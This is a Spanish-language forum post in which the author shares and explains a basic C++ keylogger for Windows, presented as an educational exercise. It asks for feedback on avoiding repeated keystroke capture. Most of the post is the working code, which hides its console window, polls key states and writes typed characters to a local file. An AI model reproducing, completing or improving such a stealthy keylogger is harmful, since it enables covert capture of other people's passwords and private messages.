Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:
Código
#include <iostream> #include <windows.h> using namespace std; char keys() { char c = '/'; if (GetAsyncKeyState('A')) c = 'A'; else if (GetAsyncKeyState('B')) c = 'B'; else if (GetAsyncKeyState('C')) c = 'C'; else if (GetAsyncKeyState('D')) c = 'D'; else if (GetAsyncKeyState('E')) c = 'E'; else if (GetAsyncKeyState('F')) c = 'F'; else if (GetAsyncKeyState('G')) c = 'G'; else if (GetAsyncKeyState('H')) c = 'H'; else if (GetAsyncKeyState('I')) c = 'I'; else if (GetAsyncKeyState('J')) c = 'J'; else if (GetAsyncKeyState('K')) c = 'K'; else if (GetAsyncKeyState('L')) c = 'L'; else if (GetAsyncKeyState('M')) c = 'M'; else if (GetAsyncKeyState('N')) c = 'N'; else if (GetAsyncKeyState('O')) c = 'O'; else if (GetAsyncKeyState('P')) c = 'P'; else if (GetAsyncKeyState('Q')) c = 'Q'; else if (GetAsyncKeyState('R')) c = 'R'; else if (GetAsyncKeyState('S')) c = 'S'; else if (GetAsyncKeyState('T')) c = 'T'; else if (GetAsyncKeyState('U')) c = 'U'; else if (GetAsyncKeyState('V')) c = 'V'; else if (GetAsyncKeyState('W')) c = 'W'; else if (GetAsyncKeyState('X')) c = 'X'; else if (GetAsyncKeyState('Y')) c = 'Y'; else if (GetAsyncKeyState('Z')) c = 'Z'; else if (GetAsyncKeyState('1')) c = '1'; else if (GetAsyncKeyState('2')) c = '2'; else if (GetAsyncKeyState('3')) c = '3'; else if (GetAsyncKeyState('4')) c = '4'; else if (GetAsyncKeyState('5')) c = '5'; else if (GetAsyncKeyState('6')) c = '6'; else if (GetAsyncKeyState('7')) c = '7'; else if (GetAsyncKeyState('8')) c = '8'; else if (GetAsyncKeyState('9')) c = '9'; else if (GetAsyncKeyState('0')) c = '0'; else if (GetAsyncKeyState(VK_SHIFT)) c = '^'; else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B; else if (GetAsyncKeyState(VK_BACK)) c = ' '; return c; } int main() { FreeConsole(); //Esconde el terminal FILE *f; f = fopen("file.txt","w"); //Crea i abre un archivo char c = ' '; while(c != 0x1B) { c = keys(); if (c != '/') { fprintf( f , "%c",c); //Escribe el caracter en el archivo //cout << c; } Sleep(120); //Interrumpe el programa durante 120 milisegundos } fclose(f); AllocConsole(); //Muestra el terminal cout << "FIN DE PROGRAMA :)" << endl; }
Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.
Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?
Esto es todo!! Espero sus opiniones.
P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.
Muchas gracias!!